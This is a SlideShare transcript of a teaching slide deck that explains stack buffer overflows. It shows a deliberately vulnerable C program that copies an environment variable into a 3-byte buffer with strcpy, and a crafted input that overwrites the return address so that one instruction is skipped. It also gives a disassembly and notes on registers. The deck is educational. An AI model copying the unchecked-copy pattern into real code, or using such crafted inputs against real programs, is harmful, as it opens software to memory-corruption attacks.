SlideShare a Scribd company logo
Anatomy of Stack Overflow attack113 August 2016
Buffer Overflow – a Demo
Bhaskar K. Divecha
+91 – 98193 36001
Anatomy of Stack Overflow attack213 August 2016
Buffer Overflow – a Demo
This session :
• Explains Buffer overflow in simple manner
• Demos Exploitation of vulnerable program
– Works on the Vulnerable C Program
– Tweaks the stack (by sending data to
program)
– Modifies the return address in stack
– Calls some other instruction
Anatomy of Stack Overflow attack313 August 2016
Buffer Overflow – a Demo
What is Buffer overflow?
Buffer overflow is an anomaly where a
program, while writing data to a buffer,
overruns the buffer's boundary and
overwrites adjacent memory locations.
Anatomy of Stack Overflow attack413 August 2016
Buffer Overflow – a Demo
What is Buffer overflow? ...contd.
A buffer overflow condition exists when a
program attempts to put more data in a
buffer than it can hold.
It can corrupt data, crash the program, or
cause the execution of malicious code.
Anatomy of Stack Overflow attack513 August 2016
Buffer Overflow – a Demo
The Exploit
Many memory manipulation functions in C
and C++ do not perform bounds checking
and can easily overwrite the allocated
bounds of the buffers they operate upon.
We will exploit such a vulnerable C program.
Anatomy of Stack Overflow attack613 August 2016
Buffer Overflow – a Demo
The Exploit
We will exploit such a vulnerable C program
by:
– Tweaking the stack (by sending data to
program)
– Modifying the return address in stack
– Calling some other instruction
Anatomy of Stack Overflow attack713 August 2016
Buffer Overflow – a Demo
The Vulnerable Program
void bbFunction1();
main(int bbArgc,char *bbArgv[])
{
int bbVbl = 12;
printf("nValue of bbENV variable before calling bbFunction1 is : %dn",bbVbl);
bbFunction1();
bbVbl = 100;
printf("nValue of bbENV variable after calling bbFunction1 is : %dn",bbVbl);
}
void bbFunction1()
{
char *bbENV, bbBuff[3]="BB";
bbENV=getenv("bbENV");
strcpy(bbBuff,bbENV);
printf("nThe value of Env Vbl "bbENV" is -%s-n",bbBuff);
__asm { int 3 }
}
This programs looks quite
safe for the usual
programmer. .
Anatomy of Stack Overflow attack813 August 2016
Buffer Overflow – a Demo
The Result of Normal run of the program
D:>set bbENV=ABC
D:>bbEnvVariable.exe
Value of bbENV variable before calling bbFunction1 is : 12
The value of Env Vbl "bbENV" is -ABC-
Value of bbENV variable after calling bbFunction1 is : 100
D:>
Anatomy of Stack Overflow attack913 August 2016
Buffer Overflow – a Demo
The Vulnerable Program
void bbFunction1();
main(int bbArgc,char *bbArgv[])
{
int bbVbl = 12;
printf("nValue of bbENV variable before calling bbFunction1 is : %dn",bbVbl);
bbFunction1();
00401021 bbVbl = 100; ▬► This instruction is bypassed
0040102C printf("nValue of bbENV variable after calling bbFunction1 is : %dn",bbVbl);
}
void bbFunction1()
{
char *bbENV, bbBuff[3]="BB";
bbENV=getenv("bbENV");
strcpy(bbBuff,bbENV);
printf("nThe value of Env Vbl "bbENV" is -%s-n",bbBuff);
__asm { int 3 }
}
This programs looks quite
safe for the usual
programmer. But in fact
we can bypass certain
instructions and call
altogether the different
instruction by crafting the
Environment Variable.
Anatomy of Stack Overflow attack1013 August 2016
Buffer Overflow – a Demo
The Result of the program after the Exploit
D:>set bbENV=ABCD1234,
D:>bbEnvVariable
Value of bbENV variable before calling bbFunction1 is : 12
The value of Env Vbl "bbENV" is -ABCD1234,-
Value of bbENV variable after calling bbFunction1 is : 12
D:>
Anatomy of Stack Overflow attack1113 August 2016
Buffer Overflow – a Demo
Know the Concepts to Exploit this Program
1. Stack, it’s contents and it’s working during
function calls and returns.
Stack - a LIFO memory structure where all the
function parameters (incl. Commandline
arguments), return addresses and the local
variables of the function are stored. It grows
downward in memory (from higher address
space to lower address space).
Anatomy of Stack Overflow attack1213 August 2016
Buffer Overflow – a Demo
Know the Concepts to Exploit this Program
... contd.
2. Registers
Registers are 4 bytes or 32 bits as the binary
is compiled for a 32 bit system.
Anatomy of Stack Overflow attack1313 August 2016
Buffer Overflow – a Demo
Know the Concepts to Exploit this Program
... contd.
2. Registers
%eip: The Instruction pointer register stores
the address of the next instruction to be
executed. After every instruction execution
it’s value is incremented depending upon
the size of an instrution.
Anatomy of Stack Overflow attack1413 August 2016
Buffer Overflow – a Demo
Know the Concepts to Exploit this Program
... contd.
2. Registers
%esp: The Stack pointer register stores the
address of the top of the stack. This is the
address of the last element on the stack. It
points to the value in stack at the lowest
memory address.
Anatomy of Stack Overflow attack1513 August 2016
Buffer Overflow – a Demo
Know the Concepts to Exploit this Program
... contd.
2. Registers
%ebp: The Base pointer register usually set to
%esp at the start of the function. This is done
to keep tab of function parameters & local
variables. Local variables are accessed by
subtracting offsets from %ebp & function
parameters are accessed by adding offsets to
it.
Anatomy of Stack Overflow attack1613 August 2016
Buffer Overflow – a Demo
Disassembly of a Vulnerable Program
...
int bbVbl = 12;
printf("nValue of bbENV variable before calling bbFunction1 is : %dn",bbVbl);
bbFunction1();
00401021 bbVbl = 100; ▬► This instruction is bypassed by crafting Environment Variable
0040102C printf("nValue of bbENV variable after calling bbFunction1 is : %dn",bbVbl);
}
00401004 C7 45 FC 0C 00 00 00 mov dword ptr [ebp-4],0Ch ▬► int bbVbl = 12;
0040100B 8B 45 FC mov eax,dword ptr [ebp-4]
0040100E 50 push eax
0040100F 68 00 D0 40 00 push 40D000h
00401014 E8 76 00 00 00 call 0040108F ▬► printf “BEFORE” calling bbFunction1()
00401019 83 C4 08 add esp,8
0040101C E8 1F 00 00 00 call 00401040
00401021 C7 45 FC 64 00 00 00 mov dword ptr [ebp-4],64h ▬► bbVal = 100; (BYPASSED)
00401028 8B 4D FC mov ecx,dword ptr [ebp-4]
0040102B 51 push ecx
0040102C 68 3C D0 40 00 push 40D03Ch
00401031 E8 59 00 00 00 call 0040108F ▬► printf “AFTER” calling bbFunction1()
Anatomy of Stack Overflow attack1713 August 2016
Buffer Overflow – a Demo
Anatomy of Stack Overflow attack1813 August 2016
Buffer Overflow – a Demo
Anatomy of Stack Overflow attack1913 August 2016
Buffer Overflow – a Demo
References
While there are tons of information available on
Internet, I glanced through following 2 sites:
https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/
https://www.owasp.org/index.php/Buffer_Overflow
Anatomy of Stack Overflow attack2013 August 2016
Thank You
Bhaskar K. Divecha
+91 – 98193 36001
Buffer Overflow – a Demo

More Related Content

PPT
Buffer Overflow Attacks
PPT
Buffer Overflows
PPTX
Buffer overflow
PPT
6 buffer overflows
PPTX
Buffer Overflow Demo by Saurabh Sharma
PDF
Presentation buffer overflow attacks and theircountermeasures
PPTX
Control hijacking
PPTX
Buffer overflow attacks
Buffer Overflow Attacks
Buffer Overflows
Buffer overflow
6 buffer overflows
Buffer Overflow Demo by Saurabh Sharma
Presentation buffer overflow attacks and theircountermeasures
Control hijacking
Buffer overflow attacks

What's hot (20)

PPTX
Anatomy of a Buffer Overflow Attack
PDF
2.Format Strings
PPTX
Buffer overflow attacks
PPTX
Buffer overflow attacks
PDF
How to find_vulnerability_in_software
PDF
Buffer Overflow - Smashing the Stack
PPTX
08 - Return Oriented Programming, the chosen one
PDF
Fuzzing: Finding Your Own Bugs and 0days! at Arab Security Conference
PPTX
Buffer overflow attack
PPTX
C format string vulnerability
PDF
Leak kernel pointer by exploiting uninitialized uses in Linux kernel
ODP
Format string vunerability
PDF
Fuzzing: Finding Your Own Bugs and 0days! 1.0
PDF
From SEH Overwrite with Egg Hunter to Get a Shell!
ODP
Perl Usage In Security and Penetration testing
PDF
Metasploit for Penetration Testing: Beginner Class
PPTX
Return oriented programming (ROP)
PDF
Ricardo J. Rodríguez & Daniel Uroz - When ROP meets Turing: Automatic Generat...
PDF
Dynamic Binary Instrumentation
PPT
Exploiting stack overflow 101
Anatomy of a Buffer Overflow Attack
2.Format Strings
Buffer overflow attacks
Buffer overflow attacks
How to find_vulnerability_in_software
Buffer Overflow - Smashing the Stack
08 - Return Oriented Programming, the chosen one
Fuzzing: Finding Your Own Bugs and 0days! at Arab Security Conference
Buffer overflow attack
C format string vulnerability
Leak kernel pointer by exploiting uninitialized uses in Linux kernel
Format string vunerability
Fuzzing: Finding Your Own Bugs and 0days! 1.0
From SEH Overwrite with Egg Hunter to Get a Shell!
Perl Usage In Security and Penetration testing
Metasploit for Penetration Testing: Beginner Class
Return oriented programming (ROP)
Ricardo J. Rodríguez & Daniel Uroz - When ROP meets Turing: Automatic Generat...
Dynamic Binary Instrumentation
Exploiting stack overflow 101
Ad

Viewers also liked (9)

PPTX
3Es of Ransomware
PPTX
Http2 Security Perspective
PPTX
Security certifications
ODP
Web Application Firewall
ODP
Secure coding in C#
PDF
PPTX
Beginner talk physical security - manasdeep
PPTX
Metasploit For Beginners
PDF
Network discovery - Inside out by Aakash Goel
3Es of Ransomware
Http2 Security Perspective
Security certifications
Web Application Firewall
Secure coding in C#
Beginner talk physical security - manasdeep
Metasploit For Beginners
Network discovery - Inside out by Aakash Goel
Ad

Similar to Buffer overflow null (20)

PDF
Ceh v5 module 20 buffer overflow
PDF
Buffer overflow attacks
PDF
IRJET - Buffer Overflows Attacks & Defense
PPTX
Buffer overflow
PPTX
antoanthongtin_Lesson 3- Software Security (1).pptx
PPTX
Buffer overflow explained
PPTX
Stack-Based Buffer Overflows
PDF
Advanced Arm Exploitation
DOCX
What
PDF
Exploitation Crash Course
PPTX
¡Ups! código inseguro: detección, explotación y mitigación de vulnerabilidade...
PDF
Buffer overflow tutorial
PDF
Buffer overflow attacks
PPT
Buffer OverFlow
PPTX
Buffer overflows
PDF
StackOverflow
PPTX
fjfh mjgkj jkhglkjh jhlkh lhlkkhl kjhjkhjk
ODP
Introduction to Binary Exploitation
PDF
Lecture #15: Buffer Overflow Attack (Non Malicious Attack)
PDF
AllBits presentation - Lower Level SW Security
Ceh v5 module 20 buffer overflow
Buffer overflow attacks
IRJET - Buffer Overflows Attacks & Defense
Buffer overflow
antoanthongtin_Lesson 3- Software Security (1).pptx
Buffer overflow explained
Stack-Based Buffer Overflows
Advanced Arm Exploitation
What
Exploitation Crash Course
¡Ups! código inseguro: detección, explotación y mitigación de vulnerabilidade...
Buffer overflow tutorial
Buffer overflow attacks
Buffer OverFlow
Buffer overflows
StackOverflow
fjfh mjgkj jkhglkjh jhlkh lhlkkhl kjhjkhjk
Introduction to Binary Exploitation
Lecture #15: Buffer Overflow Attack (Non Malicious Attack)
AllBits presentation - Lower Level SW Security

More from nullowaspmumbai (20)

PDF
ELK in Security Analytics
PPTX
Switch security
PPTX
Radio hacking - Part 1
PPTX
How I got my First CVE
PPTX
Power forensics
PPTX
Infrastructure security & Incident Management
PPTX
Middleware hacking
PPTX
Internet censorship circumvention techniques
PPTX
How i got my first cve
PPTX
Adversarial machine learning updated
PPTX
PPTX
Adversarial machine learning
PPTX
Dll Hijacking
PPTX
Abusing Target
PDF
NTFS Forensics
PPTX
Drozer - An Android Application Security Tool
PPTX
Middleware hacking
PDF
Ganesh naik linux_kernel_internals
PDF
Null Mumbai Meet_Android Reverse Engineering by Samrat Das
ELK in Security Analytics
Switch security
Radio hacking - Part 1
How I got my First CVE
Power forensics
Infrastructure security & Incident Management
Middleware hacking
Internet censorship circumvention techniques
How i got my first cve
Adversarial machine learning updated
Adversarial machine learning
Dll Hijacking
Abusing Target
NTFS Forensics
Drozer - An Android Application Security Tool
Middleware hacking
Ganesh naik linux_kernel_internals
Null Mumbai Meet_Android Reverse Engineering by Samrat Das

Recently uploaded (20)

PDF
Upgrade and Innovation Strategies for SAP ERP Customers
PPTX
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
PPTX
ai tools demonstartion for schools and inter college
PDF
Navsoft: AI-Powered Business Solutions & Custom Software Development
PDF
Flood Susceptibility Mapping Using Image-Based 2D-CNN Deep Learnin. Overview ...
PDF
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
PDF
wealthsignaloriginal-com-DS-text-... (1).pdf
PDF
Nekopoi APK 2025 free lastest update
PPTX
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
PPTX
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
PDF
Addressing The Cult of Project Management Tools-Why Disconnected Work is Hold...
PPTX
CHAPTER 2 - PM Management and IT Context
PDF
How Creative Agencies Leverage Project Management Software.pdf
PDF
top salesforce developer skills in 2025.pdf
PDF
Wondershare Filmora 15 Crack With Activation Key [2025
PDF
Design an Analysis of Algorithms I-SECS-1021-03
PDF
How to Migrate SBCGlobal Email to Yahoo Easily
PPTX
history of c programming in notes for students .pptx
PDF
Adobe Illustrator 28.6 Crack My Vision of Vector Design
PDF
How to Choose the Right IT Partner for Your Business in Malaysia
Upgrade and Innovation Strategies for SAP ERP Customers
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
ai tools demonstartion for schools and inter college
Navsoft: AI-Powered Business Solutions & Custom Software Development
Flood Susceptibility Mapping Using Image-Based 2D-CNN Deep Learnin. Overview ...
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
wealthsignaloriginal-com-DS-text-... (1).pdf
Nekopoi APK 2025 free lastest update
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
Addressing The Cult of Project Management Tools-Why Disconnected Work is Hold...
CHAPTER 2 - PM Management and IT Context
How Creative Agencies Leverage Project Management Software.pdf
top salesforce developer skills in 2025.pdf
Wondershare Filmora 15 Crack With Activation Key [2025
Design an Analysis of Algorithms I-SECS-1021-03
How to Migrate SBCGlobal Email to Yahoo Easily
history of c programming in notes for students .pptx
Adobe Illustrator 28.6 Crack My Vision of Vector Design
How to Choose the Right IT Partner for Your Business in Malaysia

Buffer overflow null

  • 1. Anatomy of Stack Overflow attack113 August 2016 Buffer Overflow – a Demo Bhaskar K. Divecha +91 – 98193 36001
  • 2. Anatomy of Stack Overflow attack213 August 2016 Buffer Overflow – a Demo This session : • Explains Buffer overflow in simple manner • Demos Exploitation of vulnerable program – Works on the Vulnerable C Program – Tweaks the stack (by sending data to program) – Modifies the return address in stack – Calls some other instruction
  • 3. Anatomy of Stack Overflow attack313 August 2016 Buffer Overflow – a Demo What is Buffer overflow? Buffer overflow is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations.
  • 4. Anatomy of Stack Overflow attack413 August 2016 Buffer Overflow – a Demo What is Buffer overflow? ...contd. A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold. It can corrupt data, crash the program, or cause the execution of malicious code.
  • 5. Anatomy of Stack Overflow attack513 August 2016 Buffer Overflow – a Demo The Exploit Many memory manipulation functions in C and C++ do not perform bounds checking and can easily overwrite the allocated bounds of the buffers they operate upon. We will exploit such a vulnerable C program.
  • 6. Anatomy of Stack Overflow attack613 August 2016 Buffer Overflow – a Demo The Exploit We will exploit such a vulnerable C program by: – Tweaking the stack (by sending data to program) – Modifying the return address in stack – Calling some other instruction
  • 7. Anatomy of Stack Overflow attack713 August 2016 Buffer Overflow – a Demo The Vulnerable Program void bbFunction1(); main(int bbArgc,char *bbArgv[]) { int bbVbl = 12; printf("nValue of bbENV variable before calling bbFunction1 is : %dn",bbVbl); bbFunction1(); bbVbl = 100; printf("nValue of bbENV variable after calling bbFunction1 is : %dn",bbVbl); } void bbFunction1() { char *bbENV, bbBuff[3]="BB"; bbENV=getenv("bbENV"); strcpy(bbBuff,bbENV); printf("nThe value of Env Vbl "bbENV" is -%s-n",bbBuff); __asm { int 3 } } This programs looks quite safe for the usual programmer. .
  • 8. Anatomy of Stack Overflow attack813 August 2016 Buffer Overflow – a Demo The Result of Normal run of the program D:>set bbENV=ABC D:>bbEnvVariable.exe Value of bbENV variable before calling bbFunction1 is : 12 The value of Env Vbl "bbENV" is -ABC- Value of bbENV variable after calling bbFunction1 is : 100 D:>
  • 9. Anatomy of Stack Overflow attack913 August 2016 Buffer Overflow – a Demo The Vulnerable Program void bbFunction1(); main(int bbArgc,char *bbArgv[]) { int bbVbl = 12; printf("nValue of bbENV variable before calling bbFunction1 is : %dn",bbVbl); bbFunction1(); 00401021 bbVbl = 100; ▬► This instruction is bypassed 0040102C printf("nValue of bbENV variable after calling bbFunction1 is : %dn",bbVbl); } void bbFunction1() { char *bbENV, bbBuff[3]="BB"; bbENV=getenv("bbENV"); strcpy(bbBuff,bbENV); printf("nThe value of Env Vbl "bbENV" is -%s-n",bbBuff); __asm { int 3 } } This programs looks quite safe for the usual programmer. But in fact we can bypass certain instructions and call altogether the different instruction by crafting the Environment Variable.
  • 10. Anatomy of Stack Overflow attack1013 August 2016 Buffer Overflow – a Demo The Result of the program after the Exploit D:>set bbENV=ABCD1234, D:>bbEnvVariable Value of bbENV variable before calling bbFunction1 is : 12 The value of Env Vbl "bbENV" is -ABCD1234,- Value of bbENV variable after calling bbFunction1 is : 12 D:>
  • 11. Anatomy of Stack Overflow attack1113 August 2016 Buffer Overflow – a Demo Know the Concepts to Exploit this Program 1. Stack, it’s contents and it’s working during function calls and returns. Stack - a LIFO memory structure where all the function parameters (incl. Commandline arguments), return addresses and the local variables of the function are stored. It grows downward in memory (from higher address space to lower address space).
  • 12. Anatomy of Stack Overflow attack1213 August 2016 Buffer Overflow – a Demo Know the Concepts to Exploit this Program ... contd. 2. Registers Registers are 4 bytes or 32 bits as the binary is compiled for a 32 bit system.
  • 13. Anatomy of Stack Overflow attack1313 August 2016 Buffer Overflow – a Demo Know the Concepts to Exploit this Program ... contd. 2. Registers %eip: The Instruction pointer register stores the address of the next instruction to be executed. After every instruction execution it’s value is incremented depending upon the size of an instrution.
  • 14. Anatomy of Stack Overflow attack1413 August 2016 Buffer Overflow – a Demo Know the Concepts to Exploit this Program ... contd. 2. Registers %esp: The Stack pointer register stores the address of the top of the stack. This is the address of the last element on the stack. It points to the value in stack at the lowest memory address.
  • 15. Anatomy of Stack Overflow attack1513 August 2016 Buffer Overflow – a Demo Know the Concepts to Exploit this Program ... contd. 2. Registers %ebp: The Base pointer register usually set to %esp at the start of the function. This is done to keep tab of function parameters & local variables. Local variables are accessed by subtracting offsets from %ebp & function parameters are accessed by adding offsets to it.
  • 16. Anatomy of Stack Overflow attack1613 August 2016 Buffer Overflow – a Demo Disassembly of a Vulnerable Program ... int bbVbl = 12; printf("nValue of bbENV variable before calling bbFunction1 is : %dn",bbVbl); bbFunction1(); 00401021 bbVbl = 100; ▬► This instruction is bypassed by crafting Environment Variable 0040102C printf("nValue of bbENV variable after calling bbFunction1 is : %dn",bbVbl); } 00401004 C7 45 FC 0C 00 00 00 mov dword ptr [ebp-4],0Ch ▬► int bbVbl = 12; 0040100B 8B 45 FC mov eax,dword ptr [ebp-4] 0040100E 50 push eax 0040100F 68 00 D0 40 00 push 40D000h 00401014 E8 76 00 00 00 call 0040108F ▬► printf “BEFORE” calling bbFunction1() 00401019 83 C4 08 add esp,8 0040101C E8 1F 00 00 00 call 00401040 00401021 C7 45 FC 64 00 00 00 mov dword ptr [ebp-4],64h ▬► bbVal = 100; (BYPASSED) 00401028 8B 4D FC mov ecx,dword ptr [ebp-4] 0040102B 51 push ecx 0040102C 68 3C D0 40 00 push 40D03Ch 00401031 E8 59 00 00 00 call 0040108F ▬► printf “AFTER” calling bbFunction1()
  • 17. Anatomy of Stack Overflow attack1713 August 2016 Buffer Overflow – a Demo
  • 18. Anatomy of Stack Overflow attack1813 August 2016 Buffer Overflow – a Demo
  • 19. Anatomy of Stack Overflow attack1913 August 2016 Buffer Overflow – a Demo References While there are tons of information available on Internet, I glanced through following 2 sites: https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/ https://www.owasp.org/index.php/Buffer_Overflow
  • 20. Anatomy of Stack Overflow attack2013 August 2016 Thank You Bhaskar K. Divecha +91 – 98193 36001 Buffer Overflow – a Demo